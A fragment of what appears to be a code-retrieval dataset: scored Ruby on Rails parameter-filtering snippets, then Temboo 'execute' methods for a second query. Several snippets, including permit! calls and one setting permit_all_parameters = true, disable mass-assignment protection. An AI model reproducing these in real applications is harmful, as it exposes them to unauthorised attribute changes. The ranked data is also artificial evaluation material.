social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.5997203", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5991786", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.599171", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.599018", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.59803563", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59669757", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59596956", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5958921", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.59588784", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5957653", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.59536135", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.595352", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.59439486", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.5940021", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.5937903", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.5937903", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5935101", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.5930797", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.59260094", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.5925016", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.5917673", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59099996", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5907993", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.5906815", "text": "def url_whitelist; end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.59056044", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5897754", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5897269", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.5896547", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.589625", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5893799", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5892099", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.58870953", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.5883051", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.58797866", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.5874013", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58691907", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5868823", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.58668876", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.586648", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5864312", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.5863242", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.58631074", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.58626693", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5861018", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.5859546", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.58549064", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.5854862", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5850909", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.58506316", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
066675d4dedb4f6f6bebce652b9d552f
Execute the Choreo using the specified InputSet as parameters, wait for the Choreo to complete and return a ResultSet containing the execution results.
[ { "docid": "636b5b63f2b1a72dc347e683a5c24a1e", "score": "0.0", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetCommitteesByLegislatorResultSet.new(resp)\n return results\n end", "title": "" } ]
[ { "docid": "ea872306361fc864408e8279b0199bbe", "score": "0.75938", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "bf6609d69b18cbe3a5f620c672c2cbbf", "score": "0.7561906", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "bf6609d69b18cbe3a5f620c672c2cbbf", "score": "0.75605136", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "0aafc24aa7bfd676f6f07627c9f76bc6", "score": "0.7473192", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = SetDescriptionResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "a1344c3896c39c00dc3d90b8d8a5a83b", "score": "0.72551775", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ParseResponseResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "63ba8945aeb5bf9ebd7b95276105a753", "score": "0.7239856", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = FindResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "c098b36637f21771b9a908399c4b5304", "score": "0.72376525", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ResidenceResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "9de8750a58a9526fbdee57ac41e90203", "score": "0.7190564", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ParseResponseResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "fb95fc8487bca52a46c68ffd52d8e48d", "score": "0.7141758", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetEtymologyResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "4183b17f9f6707b4e269ea07803007a1", "score": "0.71381056", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ContractsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8a356cb581c7765ae3e66fb2f3368ea8", "score": "0.71190304", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8a356cb581c7765ae3e66fb2f3368ea8", "score": "0.71190304", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8a356cb581c7765ae3e66fb2f3368ea8", "score": "0.71190304", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8a356cb581c7765ae3e66fb2f3368ea8", "score": "0.71190304", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8a356cb581c7765ae3e66fb2f3368ea8", "score": "0.71190304", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "639639f17f588593bbcf03fdc35fecf6", "score": "0.7114908", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetDatabaseResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "f0db36b53d36a7f729d6ef503cd1e26d", "score": "0.7105362", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GenomesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "97d69a1243e550711ff62f86bdadd438", "score": "0.7098021", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = FinancialAidResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "7c8530d9126329b99fce59f75361a16a", "score": "0.70976245", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ExecutePaymentResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "19f97824a1cc014b08673ca9a909e4de", "score": "0.70708585", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = SetLocationResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "0f9bf967849751416c965e8a1dbf0e99", "score": "0.70686805", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveRecordsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "7414e27ed90b51c60c7884fd3b9b6764", "score": "0.7062649", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetRecordsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "df86f0f487e0ac505181e3852add84c2", "score": "0.705376", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ShowResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "f59d05bfeab248eb2779e89f130f5ede", "score": "0.7049674", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ListSetsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "97b063b4c20e342a90ad50ef32db85a2", "score": "0.70478004", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MathAndScienceResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "5c4622d196e17563085f3203a4b8d585", "score": "0.70468336", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MentionsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "9f9d9ae5fd274ed7076d8884f27992cc", "score": "0.7043122", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = BulkUpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "4fe16cb06a9eb592e64974fe3311c547", "score": "0.7039051", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UserResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "f4cff698b052b3fe5c2343fc71c2c32b", "score": "0.7033106", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "f4cff698b052b3fe5c2343fc71c2c32b", "score": "0.7033106", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "f4cff698b052b3fe5c2343fc71c2c32b", "score": "0.7033106", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "712f4b46e3bd997ee63c7b449378fa5d", "score": "0.6999168", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = AutomobileResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8991e752c84e8b3242230ec421fa51cf", "score": "0.6994687", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GBDResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "968a214e05f10a677a0749155e2fba76", "score": "0.6980119", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = NextUploadServerResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "20cc4185727d6b92df1aee31a806aeda", "score": "0.69782615", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "20cc4185727d6b92df1aee31a806aeda", "score": "0.69782615", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "20cc4185727d6b92df1aee31a806aeda", "score": "0.69782615", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "34f73ee5415fb9d9865d16f1ee5ec5eb", "score": "0.69739383", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RecoveryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "dcb51f3d97a944de7c707b0eff551f64", "score": "0.6972438", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = AncestryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "22a9c78a9437dad2c736a497549da74c", "score": "0.6963822", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "22a9c78a9437dad2c736a497549da74c", "score": "0.6963822", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "22a9c78a9437dad2c736a497549da74c", "score": "0.6963822", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "22a9c78a9437dad2c736a497549da74c", "score": "0.6963822", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "22a9c78a9437dad2c736a497549da74c", "score": "0.6963822", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "fe6ec24248bf5c004d7aaec8d6c5d7a5", "score": "0.6962351", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateCollectionResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "0c2ae0cf1e20a7563315e21eb72cec1b", "score": "0.6960188", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetCollectionResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "71275022b85ea99d40b9d16e7ef573df", "score": "0.6959496", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = DietResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "5d828e36cab8bd524adaa6ebd3f1d76b", "score": "0.69564855", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetRecordsByIdResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "1106164b71a7305bf185887dbdbf0bc1", "score": "0.69294626", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ClosestResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "5fb8aa8b7300e210da1f460dfd42a797", "score": "0.69242066", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = AvailableResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "1b93e592b88a10fb06bed840f955e7e7", "score": "0.69231975", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetMyRecordsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "6fe38d7372e8d21c1a0657409ab776ab", "score": "0.69115204", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MassPaymentsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "93850d3500ac8f4c7c96beb97d38c069", "score": "0.69089895", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitiesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "93850d3500ac8f4c7c96beb97d38c069", "score": "0.69089895", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitiesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "b476bea8ec71ad2e5a20c3f0189ebeaf", "score": "0.6905078", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = AssistanceResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "c00916d1a131098ad83ef5bd4c52e90d", "score": "0.6900875", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = DownloadSpreadsheetResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "a5bd86ed41ea9d0bdbcaa84544ed2965", "score": "0.6900729", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MusicAndTheArtsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "edf5ce31a77bb52e82407c2f84914176", "score": "0.68996847", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveUserResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "c5ffc65619103cf5ea1b33342e8aa903", "score": "0.68950456", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetByCoordinatesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "cff83deaf0132c3ca2c47aec72135798", "score": "0.6894911", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ElectricityUseResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "68c8984299624dc154e0bf17a6bc3b0b", "score": "0.68843555", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = FlightResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "9336f920fdd19087043f65741e1c4210", "score": "0.6883074", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = CloseThreadResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "ebed0170586c3023aa87019193fec032", "score": "0.6880754", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = SharePrivateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "1379ce5cb764a610202315b080d3a70e", "score": "0.68801343", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "1379ce5cb764a610202315b080d3a70e", "score": "0.68801343", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "1379ce5cb764a610202315b080d3a70e", "score": "0.68801343", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "94d45876c55c3a3c48f7938d15154ed4", "score": "0.6879454", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "94d45876c55c3a3c48f7938d15154ed4", "score": "0.6879454", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "94d45876c55c3a3c48f7938d15154ed4", "score": "0.6879454", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "94d45876c55c3a3c48f7938d15154ed4", "score": "0.6879454", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "94d45876c55c3a3c48f7938d15154ed4", "score": "0.6879454", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "b599e29e834fdb3872543a8fb2d9fd41", "score": "0.6874475", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RailTripResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "761dc9bed4a3fcb5d633cd2412d9327b", "score": "0.6872961", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MassPaymentsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "52ca5fa1c0411c41e5d3f0eda87d5a08", "score": "0.6867496", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GenotypeResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "6de60246333f87f8886a533a322fb58a", "score": "0.6864511", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = HistoryAndCivicsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "7326b0589949970f64369c6ceca85ab3", "score": "0.6860482", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = FindByCoordinatesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "7326b0589949970f64369c6ceca85ab3", "score": "0.6860482", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = FindByCoordinatesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "370f0a079a5c53196d7c7f497ec2b4db", "score": "0.68573666", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetExamplesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "33b11d6238d9cb8de05e46ad973b05d4", "score": "0.6849676", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetCommitteeResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "0bc1247264c645a35bd0bf9b781a9467", "score": "0.684201", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "402e95aa6e5ad17e4dad97533f8eaa1c", "score": "0.68305665", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = FindByURLResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "8a8bee40f047c795960f40f0e423be25", "score": "0.68222046", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetUserResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "9f801f3f9009a0929fedeeca96d80b11", "score": "0.68194604", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ProcessDirectPaymentResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "cd290484bda172f6278420373eba80d2", "score": "0.6814223", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = InsertResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "10f24a07a5ab663e0e45e3ad85daf51d", "score": "0.6806836", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = LookupMajorsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "ae4e299f93919051b7421562be54e239", "score": "0.6802335", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetDataStreamResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "42c5dd9d8c34f481fe8aa66e8fcb79c0", "score": "0.67978305", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetContextResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "99dcf48841b1a3efa4119e8a9842c197", "score": "0.67878366", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = NamesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "126cf4245dc8c9cd65871154b0d273b0", "score": "0.6775769", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = AdSearchResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "d903e170560cc186d5228489834aa0be", "score": "0.67649174", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = CreateDatabaseResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "44e21435da3e95fd543d177ddcebd052", "score": "0.6763121", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MatchIDsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "44e21435da3e95fd543d177ddcebd052", "score": "0.6763121", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = MatchIDsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "fa74bc7c14a3ab4cfb5223bc9223f9d0", "score": "0.6758244", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = SearchResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "fa74bc7c14a3ab4cfb5223bc9223f9d0", "score": "0.6757266", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = SearchResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "3a7e84c1f233a47764515d8a300293d3", "score": "0.67519814", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = LookupResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "ea3394565e37eae1b751830ddfd2b79a", "score": "0.6740152", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = PetResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "c08b0e2325ecef72d2d60d6aab2d09da", "score": "0.67385775", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryArticlesResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "3257b037b385f4f87a72bc39fceb30dc", "score": "0.67349374", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = 